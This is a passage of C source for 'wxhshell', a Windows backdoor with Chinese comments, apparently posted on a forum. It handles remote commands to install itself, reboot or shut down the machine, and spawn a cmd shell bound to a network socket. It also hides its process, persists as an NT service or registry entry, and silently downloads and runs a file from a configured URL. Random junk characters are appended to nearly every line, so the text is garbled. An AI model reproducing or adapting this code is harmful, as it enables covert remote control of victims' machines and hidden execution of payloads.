  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pY8q=Kl  
  } Wo$%9!W  
  else { 'rP]Nw  
 r}_c  
    switch(cmd[0]) { { >{B`e`$  
  ) iQ   
  // 帮助 p\v Mc\  
  case '?': { gieJ}Bv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]1-z! B4K  
    break; =TvzS%U  
  } ITuq/qts]A  
  // 安装 ~=r^3nZR/J  
  case 'i': { donw(_=  
    if(Install()) nx":"LFI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v0*N)eqDGd  
    else %!Q`e79g8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s=I'e/"7  
    break; 2i#Sn'1  
    } 3#kitmV  
  // 卸载 7Ob*Yv=[  
  case 'r': { u8zbYd3  
    if(Uninstall()) }}{!u0N},V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6"j_iB  
    else {.e=qQ%P5)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :q##fG 'm/  
    break; iP~,n8W  
    } *y[PNqyd  
  // 显示 wxhshell 所在路径 wYsZM/lw  
  case 'p': { jMBiaX`F  
    char svExeFile[MAX_PATH]; l?E a#  
    strcpy(svExeFile,"\n\r"); sPAg)6&M  
      strcat(svExeFile,ExeFile); 0Rxe~n1o  
        send(wsh,svExeFile,strlen(svExeFile),0); H/F+X?t$0  
    break; q]& .#&h  
    } ]ekk }0  
  // 重启 3*_fzP<R  
  case 'b': { DmqX"x%P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zRl~^~sY  
    if(Boot(REBOOT)) DLPUqKL]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +';>=hha  
    else { {0\,0*^p  
    closesocket(wsh); 1r[@(c0  
    ExitThread(0); )QKf7 [:  
    } {C*\O)Gep  
    break; u9-nt}hGYM  
    } 6&v? )o  
  // 关机 }`_@'4:t  
  case 'd': { 0O!cN_l|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F-Z%6O,2  
    if(Boot(SHUTDOWN)) )bOBQbj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5R MS(  
    else { }7<5hn E  
    closesocket(wsh); Zwt;d5U  
    ExitThread(0); D6D1S/:ij'  
    } Z~G my7h(  
    break; PnT)LqEF  
    } @!=\R^#p  
  // 获取shell {kI#A?M  
  case 's': { f}%D"gz  
    CmdShell(wsh); JM$.O;y -  
    closesocket(wsh); nHFrG =o,  
    ExitThread(0); "LhUxnll  
    break; .o{0+fC#  
  } I lR\  #  
  // 退出 ?gGt2O1J  
  case 'x': { yQS+P8x&|]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yWPIIWHx!  
    CloseIt(wsh); EER`?Sa(  
    break; S|AM9*k9  
    } "pxzntY|  
  // 离开 &YP#M |  
  case 'q': { USJ- e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D bX{#4lx  
    closesocket(wsh); {aKqXL[UP  
    WSACleanup(); F#|O@.tDG  
    exit(1); P'@<:S|  
    break; UAS@R`?cI  
        } Y+%sBqo @  
  } < O*6 T%;  
  } ;d.K_P  
Q }k.JS~#  
  // 提示信息 8Chj w wB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )-rW&"{U  
} H14Ic.&  
  } ~i'Nqe_  
$V>98M>j  
  return; A?5E2T1L%.  
} 4S0>-?{  
F7m?xy  
// shell模块句柄 ge3sU5iZ  
int CmdShell(SOCKET sock) `i~ Y Fr  
{ 89}Y5#W  
STARTUPINFO si; gE/Tj$  
ZeroMemory(&si,sizeof(si)); ',7??Q7j&v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?VU(Pq*`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oj,lz?  
PROCESS_INFORMATION ProcessInfo; FX <b:#  
char cmdline[]="cmd"; }!#gu3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IHfzZHy  
  return 0; `L;eba  
} @\_x'!R  
` >!n  
// 自身启动模式 PQW(EeQ  
int StartFromService(void) Gnm4gF!BI  
{ iL{M+Ic  
typedef struct o;"OSp  
{ >Y 1{rSk  
  DWORD ExitStatus; jdeV|H} u  
  DWORD PebBaseAddress; -u!qrJ*Z  
  DWORD AffinityMask; stl 1Q O(h  
  DWORD BasePriority; c47")2/yO  
  ULONG UniqueProcessId; TZir>5  
  ULONG InheritedFromUniqueProcessId; ^62|d  
}   PROCESS_BASIC_INFORMATION; }H4=HDO  
(oK^c- x  
PROCNTQSIP NtQueryInformationProcess; aFiCZHohw  
r9 y.i(j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kyh_9K1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u D 5%E7  
TfxwVPX  
  HANDLE             hProcess; ,''cNV  
  PROCESS_BASIC_INFORMATION pbi; .N4  
.UCt|> $  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ER2GjZa\z  
  if(NULL == hInst ) return 0; V5"CSMe  
NY$uq+Z>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "i.r@<)S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nm$Dd~mxW1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Thy=yz;p  
$DFv30 f  
  if (!NtQueryInformationProcess) return 0; QlFZO4 P3|  
R`Aj|C z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wCs3:@UH  
  if(!hProcess) return 0; 7z6 b@$,  
q"KnLA(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T@wcHg  
:Br5a34q  
  CloseHandle(hProcess); <O?y-$~  
;cQW sTfT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _,Fny_u=;  
if(hProcess==NULL) return 0; q+SD6qM  
1PaUI#X"2F  
HMODULE hMod; A \rt6/  
char procName[255]; <HWS:'1  
unsigned long cbNeeded; @4~=CV%j  
mAgF73,3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J`M&{UP  
|XYEn7^r  
  CloseHandle(hProcess); eC DIwB28  
8GPIZh'0 h  
if(strstr(procName,"services")) return 1; // 以服务启动 c;f!!3&  
TG48%L  
  return 0; // 注册表启动 m4K* <  
} "\"DCDKmG  
js^ ,(CS  
// 主模块 ~Vh(6q.oT  
int StartWxhshell(LPSTR lpCmdLine) .Hhhi  
{ pN6%&@) =  
  SOCKET wsl; W^,S6!  
BOOL val=TRUE; }*]B-\>  
  int port=0; v1U?&C  
  struct sockaddr_in door; VO3pm6r5  
)'4P.>!!aQ  
  if(wscfg.ws_autoins) Install(); JE 5  
Mvj;ic6iK  
port=atoi(lpCmdLine); uy_wp^  
cxeghy:;U  
if(port<=0) port=wscfg.ws_port; 3:/'t{ ^B  
xVB;s.'!  
  WSADATA data; tary6K9K+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,y`CRlr:  
FQ%c~N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qIUfPA=/_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %A1@&xrbl  
  door.sin_family = AF_INET; R;whW:Tx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ))D:8l@  
  door.sin_port = htons(port); .D,p@4  
g]@ (E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z2gk[zY&  
closesocket(wsl); Zv]x'3J#Y  
return 1; <>xJn{f0c  
} E "iUq  
SEwku}  
  if(listen(wsl,2) == INVALID_SOCKET) { 2Q7R6*<N:  
closesocket(wsl); <F7kh[L_x  
return 1; <`X"}I3 ba  
} v!3A9!.  
  Wxhshell(wsl); #v#<itfFH  
  WSACleanup(); S>G?Q_&}?D  
WS-dS6Q}  
return 0; 0|xIBg)  
p?[Tm*r  
} ( GnuWc\p  
[97:4.  
// 以NT服务方式启动 +[@z(N-h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j| Wv7  
{ 5 S Xn?  
DWORD   status = 0; _!;Me )C  
  DWORD   specificError = 0xfffffff; N/YWby=H  
6h?gs"[j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C fEmT8sa  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CHd9l]Rbe  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4!Z5og1kn  
  serviceStatus.dwWin32ExitCode     = 0; m`#Od^vk  
  serviceStatus.dwServiceSpecificExitCode = 0; vzzE-(\\e  
  serviceStatus.dwCheckPoint       = 0; RpG+>"1]  
  serviceStatus.dwWaitHint       = 0; mOpTzg@  
CZnK8&VDY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j hYToMq  
  if (hServiceStatusHandle==0) return; .Ig+Dj{)  
2M<R(W!&  
status = GetLastError(); wS+V]`b  
  if (status!=NO_ERROR) <H3ezv1M  
{ q/3ziVd7p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T lAR.cV  
    serviceStatus.dwCheckPoint       = 0; H>Q%"|  
    serviceStatus.dwWaitHint       = 0; &*G<a3 Q  
    serviceStatus.dwWin32ExitCode     = status; j.~!dh$mg  
    serviceStatus.dwServiceSpecificExitCode = specificError; (Q[fS:U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WH ?}~u9  
    return; 'ckQg=zPR  
  } ,y4I[[  
ZN"j%E{d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LZPuDf~/  
  serviceStatus.dwCheckPoint       = 0; f-6vLX\Vu  
  serviceStatus.dwWaitHint       = 0; Rtb :nJ8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v}@xlB=  
} I{JU-J k|  
4p%A8%/q  
// 处理NT服务事件,比如:启动、停止 bn 6WjJ~Z+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J{[n?/A{  
{ 7e7 M@8+4  
switch(fdwControl) =/<LSeLxH  
{ T@}|zDC#  
case SERVICE_CONTROL_STOP: j.a`N2]WE  
  serviceStatus.dwWin32ExitCode = 0; jA".r'D%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z nFi<@UB)  
  serviceStatus.dwCheckPoint   = 0; }nt* [:%  
  serviceStatus.dwWaitHint     = 0; wIkN9 f  
  { }(a+aHH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O/:UJ( e{  
  } `&0Wv0D0  
  return; >56>*BHD  
case SERVICE_CONTROL_PAUSE: Nu8Sr]p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =_j vk.  
  break; FYs)M O  
case SERVICE_CONTROL_CONTINUE: umz;F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xw{-9k-~  
  break; A5,t+8`aci  
case SERVICE_CONTROL_INTERROGATE: *5tO0_L  
  break; \tx bhWN  
}; jq'!UN{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HW&%T7 a  
} &DqE{bBd!  
dd2[yKC`  
// 标准应用程序主函数 Y_`-9'&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ' |-JWH  
{ Bq/:Nd[y  
(E,T#uc{  
// 获取操作系统版本 !+u"3;%h  
OsIsNt=GetOsVer(); hF2IW{=!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sNun+xsf^  
2VW}9O  
  // 从命令行安装 Kn+S,1r  
  if(strpbrk(lpCmdLine,"iI")) Install(); "CiTa>x  
]weoTn:  
  // 下载执行文件 NvM*h%ChM  
if(wscfg.ws_downexe) { .ROznCe}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v}WR+)uFQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); :Hxv6  
} }68i[v9Njk  
?UM*Xah  
if(!OsIsNt) { keRE==(D  
// 如果时win9x,隐藏进程并且设置为注册表启动 Em[DHfu1Q  
HideProc(); JNcYJ[wqv  
StartWxhshell(lpCmdLine); j }b\Z9)!  
} QMv@:Eo  
else `y#UJYXQE  
  if(StartFromService()) 3D?s L!W  
  // 以服务方式启动 %s19KGpA  
  StartServiceCtrlDispatcher(DispatchTable); z;@*r}H  
else 9Fn\FYUq  
  // 普通方式启动 ! 8`3GX:B_  
  StartWxhshell(lpCmdLine); ;#w3{ NB  
V I% 6.6D  
return 0; U]a*uF~h  
}
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只看该作者 1 发表于: 2006-10-10
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